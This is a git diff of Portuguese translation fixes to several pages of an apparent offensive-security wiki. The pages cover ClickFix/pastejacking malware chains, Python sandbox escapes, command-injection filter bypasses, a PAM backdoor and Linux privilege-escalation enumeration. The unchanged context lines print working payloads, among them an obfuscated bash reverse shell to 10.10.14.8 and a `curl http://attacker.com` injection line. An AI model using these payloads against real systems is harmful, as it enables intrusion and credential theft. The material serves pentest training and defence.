Como **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo da web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware comuns, como NetSupport RAT, carregador Latrodectus ou Lumma Stealer.
|
||||
|
||||
## Prova de Conceito em JavaScript
|
||||
```html
|
||||
@ -29,7 +29,7 @@ Campanhas mais antigas usavam `document.execCommand('copy')`, enquanto as mais n
|
||||
1. O usuário visita um site com erro de digitação ou comprometido (por exemplo, `docusign.sa[.]com`)
|
||||
2. O JavaScript **ClearFake** injetado chama um helper `unsecuredCopyToClipboard()` que armazena silenciosamente uma linha de comando PowerShell codificada em Base64 na área de transferência.
|
||||
3. Instruções em HTML dizem à vítima: *“Pressione **Win + R**, cole o comando e pressione Enter para resolver o problema.”*
|
||||
4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo mais um DLL malicioso (classic DLL sideloading).
|
||||
4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo mais uma DLL maliciosa (classic DLL sideloading).
|
||||
5. O loader descriptografa estágios adicionais, injeta shellcode e instala persistência (por exemplo, tarefa agendada) – executando, em última instância, NetSupport RAT / Latrodectus / Lumma Stealer.
|
||||
|
||||
### Exemplo de Cadeia NetSupport RAT
|
||||
@ -49,7 +49,7 @@ powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
1. Baixa `la.txt` com **curl.exe**
|
||||
2. Executa o downloader JScript dentro do **cscript.exe**
|
||||
3. Busca um payload MSI → solta `libcef.dll` além de um aplicativo assinado → sideloading de DLL → shellcode → Latrodectus.
|
||||
3. Busca um payload MSI → solta `libcef.dll` ao lado de uma aplicação assinada → sideloading de DLL → shellcode → Latrodectus.
|
||||
|
||||
### Lumma Stealer via MSHTA
|
||||
```
|
||||
@ -57,7 +57,7 @@ mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
A chamada **mshta** inicia um script PowerShell oculto que recupera `PartyContinued.exe`, extrai `Boat.pst` (CAB), reconstrói `AutoIt3.exe` através de `extrac32` e concatenação de arquivos e, finalmente, executa um script `.a3x` que exfiltra credenciais do navegador para `sumeriavgv.digital`.
|
||||
|
||||
## Detecção & Caça
|
||||
## Detecção e Caça
|
||||
|
||||
As equipes azuis podem combinar telemetria de área de transferência, criação de processos e registro para identificar abusos de pastejacking:
|
||||
|
||||
@ -68,7 +68,7 @@ As equipes azuis podem combinar telemetria de área de transferência, criação
|
||||
|
||||
## Mitigações
|
||||
|
||||
1. Dureza do navegador – desative o acesso de gravação da área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exija gesto do usuário.
|
||||
1. Fortalecimento do navegador – desative o acesso de gravação na área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exija gesto do usuário.
|
||||
2. Conscientização de segurança – ensine os usuários a *digitar* comandos sensíveis ou colá-los primeiro em um editor de texto.
|
||||
3. Modo de Linguagem Constrangida do PowerShell / Política de Execução + Controle de Aplicativos para bloquear one-liners arbitrários.
|
||||
4. Controles de rede – bloqueie solicitações de saída para domínios conhecidos de pastejacking e C2 de malware.
|
||||
|
||||
@ -14,7 +14,7 @@ Você pode usar o seguinte comando para verificar quais extensões serão execut
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files que referenciam um modelo remoto (Arquivo – Opções – Suplementos – Gerenciar: Modelos – Ir) que inclui macros podem “executar” macros também.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### Carregamento de Imagem Externa
|
||||
|
||||
|
||||
@ -66,7 +66,7 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Para mais informações sobre como o pickle funciona, verifique isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Para mais informações sobre como o pickle funciona, confira isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pacote Pip
|
||||
|
||||
@ -91,7 +91,7 @@ Reverse.tar (1).gz
|
||||
> [!WARNING]
|
||||
> Note que exec permite strings multilinha e ";", mas eval não permite (verifique o operador walrus)
|
||||
|
||||
Se certos caracteres forem proibidos, você pode usar a **representação hex/octal/B64** para **burlar** a restrição:
|
||||
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
```
|
||||
## Bypassando proteções através de codificações (UTF-7)
|
||||
|
||||
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
|
||||
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UTF-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -375,7 +375,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals e locais
|
||||
## Globals e locals
|
||||
|
||||
Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
|
||||
```python
|
||||
@ -483,7 +483,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
|
||||
Além disso, poderíamos até procurar quais módulos estão carregando bibliotecas maliciosas:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -660,7 +660,7 @@ Você pode verificar a saída deste script nesta página:
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Format String
|
||||
## Formato de String em Python
|
||||
|
||||
Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
|
||||
```python
|
||||
@ -743,7 +743,7 @@ Você tem mais como isso na seção [**Execução Python sem chamadas**](#python
|
||||
Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE.
|
||||
|
||||
Procurando por um gadget assim em python, o artigo sugere esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Procurando por um gadget assim em python, o artigo propõe esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,7 +774,7 @@ O desafio na verdade explora outra vulnerabilidade no servidor que permite criar
|
||||
## Dissecando Objetos Python
|
||||
|
||||
> [!TIP]
|
||||
> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** reside e você precisa ver os **internos** da **função** para extraí-la.
|
||||
|
||||
@ -899,7 +899,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Observe que **se você não puder importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
||||
Observe que **se você não puder importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também informa o deslocamento da variável que está sendo carregada.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -923,7 +923,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Compilando Python
|
||||
|
||||
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\
|
||||
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que não pode executar** mas você **precisa** **executá-la**.\
|
||||
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
@ -958,7 +958,7 @@ mydict = {}
|
||||
mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!DICA]
|
||||
> [!TIP]
|
||||
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar:
|
||||
>
|
||||
> ```
|
||||
@ -969,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
|
||||
### Recriando uma função vazada
|
||||
|
||||
> [!AVISO]
|
||||
> [!WARNING]
|
||||
> No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** é o que **você precisará vazar**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
@ -1032,7 +1032,7 @@ Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## Python Diverso
|
||||
|
||||
### Assert
|
||||
|
||||
|
||||
@ -45,7 +45,7 @@ Obter firmware pode ser abordado de várias maneiras, cada uma com seu próprio
|
||||
|
||||
## Analisando o firmware
|
||||
|
||||
Agora que você **tem o firmware**, precisa extrair informações sobre ele para saber como tratá-lo. Diferentes ferramentas que você pode usar para isso:
|
||||
Agora que você **tem o firmware**, você precisa extrair informações sobre ele para saber como tratá-lo. Diferentes ferramentas que você pode usar para isso:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -138,7 +138,7 @@ Para extrair **arquivos incorporados**, ferramentas e recursos como a documenta
|
||||
|
||||
### Extraindo o Sistema de Arquivos
|
||||
|
||||
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido do comando `dd` para extrair o sistema de arquivos:
|
||||
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -194,15 +194,15 @@ Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo ut
|
||||
|
||||
### Emulação de Sistema Completo
|
||||
|
||||
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica.
|
||||
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica.
|
||||
|
||||
## Análise Dinâmica na Prática
|
||||
|
||||
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
|
||||
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
|
||||
|
||||
## Técnicas de Análise em Tempo de Execução
|
||||
|
||||
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades através de fuzzing e outras técnicas.
|
||||
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas.
|
||||
|
||||
## Exploração Binária e Prova de Conceito
|
||||
|
||||
@ -240,7 +240,7 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões de firmware posteriores introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
|
||||
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando de shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
|
||||
|
||||
### Extraindo Firmware de Aplicativos Móveis
|
||||
|
||||
@ -256,7 +256,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
* O dispositivo compara **números de versão** ou um **contador anti-rollback monotônico** antes de gravar?
|
||||
* A imagem é verificada dentro de uma cadeia de boot seguro (por exemplo, assinaturas verificadas pelo código ROM)?
|
||||
* O código do userland realiza verificações adicionais de sanidade (por exemplo, mapa de partição permitido, número do modelo)?
|
||||
* Os fluxos de atualização *parciais* ou *de backup* reutilizam a mesma lógica de validação?
|
||||
* Os fluxos de atualização *parcial* ou *backup* reutilizam a mesma lógica de validação?
|
||||
|
||||
> 💡 Se algum dos itens acima estiver faltando, a plataforma provavelmente é vulnerável a ataques de rollback.
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Bypasses de Limitações Comuns
|
||||
|
||||
### Shell Reversa
|
||||
### Reverse Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Bypass Paths and forbidden words
|
||||
### Bypass Paths e palavras proibidas
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
@ -144,7 +144,7 @@ Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) como exemplo.
|
||||
|
||||
### Builtins
|
||||
|
||||
Caso você não consiga executar funções externas e tenha acesso apenas a um **conjunto limitado de builtins para obter RCE**, existem alguns truques úteis para fazê-lo. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
|
||||
Caso você não consiga executar funções externas e tenha acesso apenas a um **conjunto limitado de builtins para obter RCE**, existem algumas dicas úteis para fazê-lo. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
|
||||
Primeiro, verifique todos os [**builtins do shell**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Aqui estão algumas **recomendações**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Bypass de regexes potenciais
|
||||
### Bypass potencial regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
@ -335,7 +335,7 @@ Casos de uso práticos:
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
|
||||
@ -6,10 +6,10 @@
|
||||
|
||||
Nos vídeos a seguir, você pode encontrar as técnicas mencionadas nesta página explicadas com mais profundidade:
|
||||
|
||||
- [**DEF CON 31 - Explorando a Manipulação de Memória do Linux para Stealth e Evasão**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
- [**Intrusões furtivas com DDexec-ng & dlopen() em memória - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
|
||||
## cenário read-only / no-exec
|
||||
## read-only / no-exec scenario
|
||||
|
||||
É cada vez mais comum encontrar máquinas linux montadas com **proteção de sistema de arquivos somente leitura (ro)**, especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos ro é tão fácil quanto definir **`readOnlyRootFilesystem: true`** no `securitycontext`:
|
||||
|
||||
@ -48,13 +48,13 @@ Se você tiver alguns poderosos motores de script dentro da máquina, como **Pyt
|
||||
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar um binário e ele gerará um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificá-lo e descomprimí-lo** em um **fd** criado chamando a syscall `create_memfd` e uma chamada para a syscall **exec** para executá-lo.
|
||||
|
||||
> [!WARNING]
|
||||
> Isso não funciona em outras linguagens de script como PHP ou Node porque elas não têm nenhuma **maneira padrão de chamar syscalls brutas** a partir de um script, então não é possível chamar `create_memfd` para criar o **memory fd** para armazenar o binário.
|
||||
> Isso não funciona em outras linguagens de script como PHP ou Node porque elas não têm nenhuma **maneira padrão de chamar syscalls brutas** de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
|
||||
>
|
||||
> Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não poderá executá-lo porque a **proteção no-exec** se aplicará.
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) é uma técnica que permite que você **modifique a memória do seu próprio processo** sobrescrevendo seu **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) é uma técnica que permite **modificar a memória do seu próprio processo** sobrescrevendo seu **`/proc/self/mem`**.
|
||||
|
||||
Portanto, **controlando o código de montagem** que está sendo executado pelo processo, você pode escrever um **shellcode** e "mutar" o processo para **executar qualquer código arbitrário**.
|
||||
|
||||
@ -84,23 +84,23 @@ Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://githu
|
||||
|
||||
### O que é distroless
|
||||
|
||||
Contêineres distroless contêm apenas os **componentes mínimos necessários para executar um aplicativo ou serviço específico**, como bibliotecas e dependências de tempo de execução, mas excluem componentes maiores como um gerenciador de pacotes, shell ou utilitários do sistema.
|
||||
Contêineres distroless contêm apenas os **componentes mínimos necessários para executar um aplicativo ou serviço específico**, como bibliotecas e dependências de tempo de execução, mas excluem componentes maiores, como um gerenciador de pacotes, shell ou utilitários de sistema.
|
||||
|
||||
O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos contêineres eliminando componentes desnecessários** e minimizando o número de vulnerabilidades que podem ser exploradas.
|
||||
|
||||
### Reverse Shell
|
||||
### Shell Reverso
|
||||
|
||||
Em um contêiner distroless, você pode **não encontrar nem `sh` nem `bash`** para obter um shell regular. Você também não encontrará binários como `ls`, `whoami`, `id`... tudo que você normalmente executa em um sistema.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, você **não** será capaz de obter um **reverse shell** ou **enumerar** o sistema como costuma fazer.
|
||||
> Portanto, você **não** será capaz de obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
|
||||
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **reverse shell Python**. Se estiver executando node, você pode obter um shell reverso Node, e o mesmo com praticamente qualquer **linguagem de script**.
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **shell reverso Python**. Se estiver executando node, você pode obter um shell rev Node, e o mesmo com praticamente qualquer **linguagem de script**.
|
||||
|
||||
> [!TIP]
|
||||
> Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
|
||||
|
||||
Se não houver proteções **`read-only/no-exec`**, você poderia abusar do seu reverse shell para **escrever no sistema de arquivos seus binários** e **executá-los**.
|
||||
Se não houver proteções **`read-only/no-exec`**, você poderia abusar do seu shell reverso para **escrever no sistema de arquivos seus binários** e **executá-los**.
|
||||
|
||||
> [!TIP]
|
||||
> No entanto, neste tipo de contêiner, essas proteções geralmente existirão, mas você poderia usar as **técnicas de execução em memória anteriores para contorná-las**.
|
||||
|
||||
@ -4,16 +4,16 @@
|
||||
|
||||
## Capturando Senhas de Login com PAM
|
||||
|
||||
Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, consulte:
|
||||
Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Para mais detalhes, consulte o [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este é apenas um resumo:
|
||||
**Para mais detalhes, confira o [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este é apenas um resumo:
|
||||
|
||||
**Visão Geral da Técnica:**
|
||||
Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão da autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação.
|
||||
Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação.
|
||||
|
||||
**Capturando Credenciais:**
|
||||
|
||||
@ -37,17 +37,17 @@ O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para au
|
||||
|
||||
**Objetivo**: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha.
|
||||
|
||||
### Etapas para Modificar `pam_unix.so`:
|
||||
### Passos para Modificar `pam_unix.so`:
|
||||
|
||||
1. **Localizar a Diretiva de Autenticação** no arquivo `common-auth`:
|
||||
- A linha responsável por verificar a senha de um usuário chama `pam_unix.so`.
|
||||
2. **Modificar o Código Fonte**:
|
||||
- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada, caso contrário, prossegue com o processo de autenticação usual.
|
||||
- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual.
|
||||
3. **Recompilar e Substituir** a biblioteca modificada `pam_unix.so` no diretório apropriado.
|
||||
4. **Teste**:
|
||||
- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados.
|
||||
|
||||
> [!TIP]
|
||||
> [!DICA]
|
||||
> Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,7 +18,7 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Env info
|
||||
### Informações do ambiente
|
||||
|
||||
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
|
||||
```bash
|
||||
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg verificação de assinatura falhou
|
||||
|
||||
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada.
|
||||
Verifique a **smasher2 box do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
@ -144,7 +144,7 @@ Enumere binários úteis
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
|
||||
```bash
|
||||
